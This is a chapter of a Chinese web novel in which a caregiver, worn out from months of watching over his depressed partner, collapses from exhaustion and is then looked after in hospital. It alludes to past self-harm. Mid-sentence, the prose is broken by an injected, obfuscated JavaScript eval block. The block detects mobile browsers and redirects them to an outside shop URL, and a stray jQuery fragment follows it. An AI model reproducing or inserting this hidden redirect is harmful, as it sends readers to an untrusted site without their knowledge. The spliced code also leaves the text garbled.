忘海已经很久没有睡过一个完整的觉了。不是失眠,他太累了,几乎沾枕头就能睡着。但每次睡不到两个小时就会惊醒,像有一根无形的丝线系在他意识深处最脆弱的那根神经上,每隔一百二十分钟就扯一下。他会在黑暗中睁开眼睛,侧耳听身边苌斓的呼吸声。呼吸平稳,他才敢把头重新放回枕头上;如果呼吸太轻或太急促,他就会轻轻握住苌斓的手腕,用指尖按住那根跳动的血管,一下,两下,三下,默数到六十才松开。
他不敢想别的。那把剪刀还裹在旧毛衣里塞在衣柜最深处,但他每次打开衣柜拿衣服都会下意识往那个角落看一眼。有一天他在厨房切水果,苌斓站在他身后忽然开口说了句话,他握着刀的手猛地抖了一下,刀刃擦过指尖,削掉了一小块皮。血渗出来的瞬间,他第一反应不是去拿创可贴,而是回头看苌斓——看他有没有被吓到,有没有注意到那把刀。苌斓正低头捡掉在地上的苹果皮,什么都没看到。忘海把手背到身后,在水龙头下冲了冲伤口,裹了张纸巾,继续切水果。晚上洗澡时才把纸巾揭下来,伤口已经和纸粘在一起了。他没有告诉苌斓,他觉得自己能处理好这种小事。
白天他在设计院对着图纸一坐就是十个小时,午休时间别人趴在桌上午睡,他给苌斓打电话。问午饭吃了没有,药吃了没有,今天有没有出门走一走。苌斓有时说吃了,有时说不太饿,他都嗯一声,不说别的。挂了电话他靠在消防通道冰冷的墙壁上,闭眼站上片刻,然后回去继续画图。项目进度紧,甲方催得急,他不想让同事觉得自己因为家里的事拖后腿。下班铃一响他就收拾东西往外走,不参加聚餐,不参加团建。借口永远是家里有事——他没有撒谎。家里有一个人在等他,那个人每天都需要他确认呼吸。
苌斓的状态在好转。新调整的药物慢慢起效,睡眠比以前踏实了,胃口也恢复了一些,半夜惊醒的次数在减少。但忘海心里的弦没有松。因为苌斓还是会做噩梦——那些破碎的、含混的音节会从喉咙里挤出来,手指会攥住被角用力到指节发白。每次忘海都比他先醒,翻身过去轻轻拍他的肩膀,喊他的名字,一遍一遍,直到他紧皱的眉头慢慢松开,呼吸重新变得均匀。等苌斓再次睡熟,忘海躺回自己那侧,看着天花板,失眠到天亮。
有一天夜里苌斓又做了噩梦,忘海照常把他唤醒,照常给他倒水,照常坐在床边等他重新入睡。然后他起身去卫生间,关上门的瞬间,他弯下腰对着马桶干呕。他靠着浴室冰冷的瓷砖墙,用袖子擦掉嘴角的水渍,盯着镜子里自己苍白消瘦、眼眶下一片青灰的脸。他活了上百次人生,见过王朝覆灭,见过无数生离死别,从来没有像这一世这样累过。以前每一世他都是旁观者,但这一次不一样——他把整颗心都押在了这个叫苌斓的人身上,陪他熬过养父母的虐待、熬过天台的积雪、熬过急救室的红灯、熬过小灰的死。他以为熬过去就好了,可苌斓还是会半夜惊醒,还是会在噩梦里无声地喊他的名字。他不知道自己做错了什么。或者说,他不知道自己还能做什么。
第二天早上,他还是六点起床,磨好豆浆装进保温杯,在苌斓床头柜上放好当天早上的药片。然后他说我去上班了。苌斓正坐在床边穿袜子,抬头看了他一眼,说你的脸色怎么这么差。他说昨晚画图画晚了。苌斓没有再问,只是站起来走到他面前,伸手整了整他歪掉的领口。那个动作很轻,和当年在玄关母亲整他领口时一模一样。他说你今晚早点回来,我炖排骨汤,放当归,不放盐。忘海低头看着他整领口的手指,喉咙忽然像被什么东西堵住了,说不出一句话,只是轻轻点了一下头,然后转身推开门走了出去。再不走,他怕自己会当着他的面哭出来。他不能哭——他是一个活了一百多世的人,是那个永远温和沉静、永远能在最绝望的时候说出“红枣茶,八颗”的人。他不能倒下,因为他倒下了,苌斓就真的没有依靠了。
傍晚苌斓正站在灶台前搅排骨汤,手机响了。不是忘海的号码,是忘海同事用他的手机打来的。对方的声音很急,说忘海在办公室晕倒了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724404|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,正在送往医院的路上。他握着勺子的手停住了,砂锅里的汤咕嘟咕嘟冒着热气。他关了火,拿起外套,冲出家门。出租车停在中心医院急诊楼门口,他跑过那条他和忘海都太熟悉的走廊——他摔伤时忘海在外面守着,父亲抢救时他们并肩坐在塑料椅上,小灰死时他抱着凉透的小身体走过这条走廊。现在轮到忘海了。
医生说是过度疲劳和长期睡眠不足引起的心律失常,需要住院观察几天。忘海醒过来时,苌斓正坐在病床边,两只手都握着他的手,放在自己膝盖上。窗外天色已经暗下来了,床头柜上放着一个保温杯——是苌斓带来的排骨汤,放了当归,没放盐。忘海看着那个保温杯,旧的那个,杯盖磕坏了一角。他忽然想笑又想哭,但太累了,只是动了一下嘴角。
他想起四十九章结尾的画面——那天晚上他加班回来,手里拎着一碗小馄饨,推开门看见苌斓裹着他的围巾,左手无名指上戴着那枚戒指。床头的药盒空了一格,剪刀刃上有一丝极淡的血迹。他在苌斓面前蹲下来,握住他的手,说我害怕哪天回到家,你不在,我害怕那只手没有拉住你。那时候他怕的是失去苌斓,怕到把指甲刀都锁进抽屉里,怕到每晚数着他的呼吸才能入睡。现在换成苌斓坐在病床边,两只手都握着他的手,把排骨汤装在保温杯里带过来——他不用再害怕了。苌斓还在这里,手是热的,脉搏很稳,药按时吃了,排骨汤炖得很香。他怕了那么久的事没有发生,苌斓没有走。
苌斓把他的手攥得更紧了些,指节压在无名指那枚戒指上,硌得生疼。他说,以后排骨汤我每天炖。你不用赶着回来。汤在灶台上,我等你。
忘海看着他们交握的手,慢慢闭上眼睛。那根绷了太久的弦,在这一刻终于松了。窗外梧桐树光秃秃的枝丫在夜风里轻轻晃动,路灯把影子投在病房的窗帘上,像那年天台上并肩靠在矮墙上的两个小雪人——被风吹歪过,被雪埋过,但还靠在一起。排骨汤还很烫,苌斓握着他的手是凉的,但这些他们都会一点一点暖回来。